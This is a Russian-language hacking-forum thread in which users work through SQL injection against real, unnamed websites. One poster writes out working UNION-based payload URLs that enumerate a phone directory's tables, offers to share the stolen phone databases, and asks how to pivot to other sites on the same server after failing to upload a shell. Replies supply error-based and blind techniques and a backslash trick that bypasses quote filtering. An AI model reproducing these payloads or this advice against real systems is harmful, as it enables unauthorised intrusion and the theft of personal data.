HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.01.2016, 06:06
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

Цитата:
Сообщение от yarbabin  
yarbabin said:

нульбайт или альтернатива, все обычно
Цитата:
Сообщение от R3hab  
R3hab said:

/usr/local/php-5.3.29/
садись, два
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
 
Ответить с цитированием

  #2  
Старый 06.01.2016, 09:08
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

пропустил, что 5.3, спасибо l1ght

тогда вариантов, кроме как создать файл во внедоступной снаружи папке или неисполняемый, или через соседей - нет
 
Ответить с цитированием

  #3  
Старый 08.01.2016, 22:51
ArmusIAm
Guest
Сообщений: n/a
Провел на форуме:
7147

Репутация: 0
По умолчанию

Добрый вечер господа!

Буду признателен, если сможете мне подсказать.

Нашел SQL инъекцию на ресурсе (телефонный справочник), есть форма заполнения ФИО или номер телефона, собственно в ней и уязвимость.

Строка запроса получается так выглядит: /filename?fio=fio&telefon=123

Уязвимость присутствует в обоих переменных, при подставлении ' выходит следующее:

Bad SQL-query:

SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123'%' LIMIT 0, 10

Mistake


Пытаюсь раскрутить стандартным образом:

/filename?fio=fio&telefon=123%27+order+by+1--

В ответ получаю следующее:

Bad SQL-query:

SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123' order by 1--%' LIMIT 0, 10

Mistake


Долго тупил, пробовал как то отбросить окончание запроса %' LIMIT 0, 10, которое автоматически подставлялось, но безуспешно.

Потом я осознал, что можно зайти несколько иным способом, поскольку подставляемое окончание запроса портило мне все карты, я разделил этот запрос, в конечном итоге прихожу к следующему запросу:

/filename?fio=&telefon=955448%27+union+select+1,2,3 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as

Запрос прошел, отобразив мне выводимые поля, но я столкнулся с сложностью при переборе имен таблиц.

Ресурс выводит на страницу не более 10 записей из БД, иначе пишет, что найдено слишком много записей уточните запрос.

Но при составлении следующего запроса:

/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+union+SEL ECT+*+FROM+piter+WHERE+fio+LIKE+%27-as

Получаю следующее:

По вашему запросу найдено слишком много результатов (286). Пожалуйста, уточните ваш запрос.Mistake

Я так понимаю, запрос проходит без ошибки, он выделять имена столбцов (следуя из ответа сервера их около 280), но сам PHP скрипт на сервере не дает вывести их, так как в PHP скрипте в цикле идет проверка на размер массива и если он более 10 элементов, выводит вышеописанную ошибку.

Казалось бы чего сложного, можно перебрать поштучно используя LIMIT:

/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as

По логике он должен выбрать одну запись из БД и отобразить ее, но в ответ я получаю следующее:

По вашему запросу найдено слишком много результатов (319). Пожалуйста, уточните ваш запрос.Mistake

Кол-во выбранных записей из БД не то что бы уменьшилось, а наоборот даже несколько увеличилось. Подскажите, где я ошибаюсь?

п.с.

К сожалению сам ресурс с уязвимостью в открытую палить не хочу, но если кому интересны телефонные базы, пишите в личку поделюсь всей инфой

Коллеги, заранее благодарен!!)
 
Ответить с цитированием

  #4  
Старый 10.01.2016, 03:44
Br@!ns
Guest
Сообщений: n/a
Провел на форуме:
179197

Репутация: 25
По умолчанию

Цитата:
Сообщение от ArmusIAm  
ArmusIAm said:

Добрый вечер господа!
Буду признателен, если сможете мне подсказать.
Нашел SQL инъекцию на ресурсе (телефонный справочник), есть форма заполнения ФИО или номер телефона, собственно в ней и уязвимость.
Строка запроса получается так выглядит: /filename?fio=fio&telefon=123
Уязвимость присутствует в обоих переменных, при подставлении ' выходит следующее:
Bad SQL-query:

SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123'%' LIMIT 0, 10

Mistake

Пытаюсь раскрутить стандартным образом:
/filename?fio=fio&telefon=123%27+order+by+1--
В ответ получаю следующее:
Bad SQL-query:

SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123' order by 1--%' LIMIT 0, 10

Mistake

Долго тупил, пробовал как то отбросить окончание запроса %' LIMIT 0, 10, которое автоматически подставлялось, но безуспешно.
Потом я осознал, что можно зайти несколько иным способом, поскольку подставляемое окончание запроса портило мне все карты, я разделил этот запрос, в конечном итоге прихожу к следующему запросу:
/filename?fio=&telefon=955448%27+union+select+1,2,3 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
Запрос прошел, отобразив мне выводимые поля, но я столкнулся с сложностью при переборе имен таблиц.
Ресурс выводит на страницу не более 10 записей из БД, иначе пишет, что найдено слишком много записей уточните запрос.
Но при составлении следующего запроса:
/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+union+SEL ECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
Получаю следующее:
По вашему запросу найдено слишком много результатов (286). Пожалуйста, уточните ваш запрос.Mistake
Я так понимаю, запрос проходит без ошибки, он выделять имена столбцов (следуя из ответа сервера их около 280), но сам PHP скрипт на сервере не дает вывести их, так как в PHP скрипте в цикле идет проверка на размер массива и если он более 10 элементов, выводит вышеописанную ошибку.
Казалось бы чего сложного, можно перебрать поштучно используя LIMIT:
/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
По логике он должен выбрать одну запись из БД и отобразить ее, но в ответ я получаю следующее:
По вашему запросу найдено слишком много результатов (319). Пожалуйста, уточните ваш запрос.Mistake
Кол-во выбранных записей из БД не то что бы уменьшилось, а наоборот даже несколько увеличилось. Подскажите, где я ошибаюсь?
п.с.
К сожалению сам ресурс с уязвимостью в открытую палить не хочу, но если кому интересны телефонные базы, пишите в личку поделюсь всей инфой
Коллеги, заранее благодарен!!)
попробуйте через erro based вектор, и вытягивать поштучно. что получается7
 
Ответить с цитированием

  #5  
Старый 10.01.2016, 15:36
ArmusIAm
Guest
Сообщений: n/a
Провел на форуме:
7147

Репутация: 0
По умолчанию

Цитата:
Сообщение от Br@!ns  
Br@!ns said:

попробуйте через erro based вектор, и вытягивать поштучно. что получается7
Спасибо, сегодня попробую, отпишусь.

Пользуясь случаем еще один вопрос задам.

Есть сайт, простенький, СУБД PostgreSQL. На сервере еще 4 сайта, к которым и есть основной интерес. Сайт дырявый капец, SQL инъекция на инъекции. Но вот в чем проблема, какой то толковой админки не нашел, залить шелл через инъекцию не получается я так понимаю (сам код в БД вносит, но файл создавать не хочет, выдает ошибку). Собственно совсем отчаялся, всю БД прошерстил, ничего интересного, шелл не залить (только картинкой, но локального инклуда нет, залить .htaccess тоже не получается). Подскажите, а возможно как то в ходе инъекции сделать запрос в другую БД на сервере? Понятно, что это зависит от прав пользователя, не понимаю как сам запрос в таком случае составить.
 
Ответить с цитированием

  #6  
Старый 10.01.2016, 17:37
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Цитата:
Сообщение от ArmusIAm  
ArmusIAm said:

Спасибо, сегодня попробую, отпишусь.
Пользуясь случаем еще один вопрос задам.
Есть сайт, простенький, СУБД PostgreSQL. На сервере еще 4 сайта, к которым и есть основной интерес. Сайт дырявый капец, SQL инъекция на инъекции. Но вот в чем проблема, какой то толковой админки не нашел, залить шелл через инъекцию не получается я так понимаю (сам код в БД вносит, но файл создавать не хочет, выдает ошибку). Собственно совсем отчаялся, всю БД прошерстил, ничего интересного, шелл не залить (только картинкой, но локального инклуда нет, залить .htaccess тоже не получается). Подскажите, а возможно как то в ходе инъекции сделать запрос в другую БД на сервере? Понятно, что это зависит от прав пользователя, не понимаю как сам запрос в таком случае составить.
версия PSQL какая?
 
Ответить с цитированием

  #7  
Старый 10.01.2016, 17:39
ArmusIAm
Guest
Сообщений: n/a
Провел на форуме:
7147

Репутация: 0
По умолчанию

Цитата:
Сообщение от yarbabin  
yarbabin said:

версия PSQL какая?
PostgreSQL 9.1.16 on x86_64-unknown-linux-gnu, compiled by gcc-4.7.real (Debian 4.7.2-5) 4.7.2, 64-bit
 
Ответить с цитированием

  #8  
Старый 10.01.2016, 22:41
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

ArmusIAm, отвечая на вопрос, один результат тебе дает первый query "955448' " и сотни последний " LIKE '%' "

можно конечно и дальше шаманить с длинными или сложными запросами (1=0, error-based, blind, ;%00)

только в твоем случае все гораздо проще

Цитата:
Сообщение от None  
Пытаюсь раскрутить стандартным образом:
/filename?fio=fio&telefon=123%27+order+by+
1--
...
SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123' order by 1--%' LIMIT 0, 10
цитата с документации

Цитата:
Сообщение от None  
В версии сервера MySQL 3.23.3 и выше поддерживается комментирование с помощью символов `--' - при условии, что за комментарием следует пробел. Это объясняется тем, что данный стиль комментирования вызвал много проблем при автоматической генерации SQL-запросов, в которых присутствовал код, подобный приведенному ниже (величина платежа вставляется в выражение !payment! автоматически):
UPDATE tbl_name SET credit=credit-!payment!
Давайте представим себе, что произойдет в случае, если величина payment окажется отрицательной. Поскольку выражение 1--1 в SQL является допустимым, то просто страшно себе вообразить последствия в случае, если будут разрешены комментарии, начинающиеся с `--',
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
 
Ответить с цитированием

  #9  
Старый 10.01.2016, 22:59
BlitzXX
Guest
Сообщений: n/a
Провел на форуме:
909

Репутация: 0
По умолчанию

Фильтруется только ковычка ( " )

Возможно ?
 
Ответить с цитированием

  #10  
Старый 11.01.2016, 07:57
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Цитата:
Сообщение от assmaday  
assmaday said:

Подскажите пожалуйста.
Конструкция такого вида как-то обходится, в плане внедрения SQL Inj:
$r = str_replace('"','',str_replace("'","",$_GET['r'])); //[1]
$sql = "SELECT `id` FROM `tbl_categories` WHERE `title`='".$r."'"; //[2]
$result = mysql_query($sql,$con); //[3]
Я так понимаю, на строке 1 все hex и соncat остаются строкой типа "CONCAT(CHAR(84),CHAR(114),... и т.д или 0x5472616e6365
Тоесть во вторую строку не подсунуть " union ???
Только если вы контролируете два поля подряд, sql_mode дефолтный и magic_quote = off.



Field_1 =
test\

Field_2 = UNION SELECT ... --

Цитата:
Сообщение от BlitzXX  
BlitzXX said:


Фильтруется только ковычка ( " )
Возможно ?
Нет, это необходимая и достаточная фильтрация.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ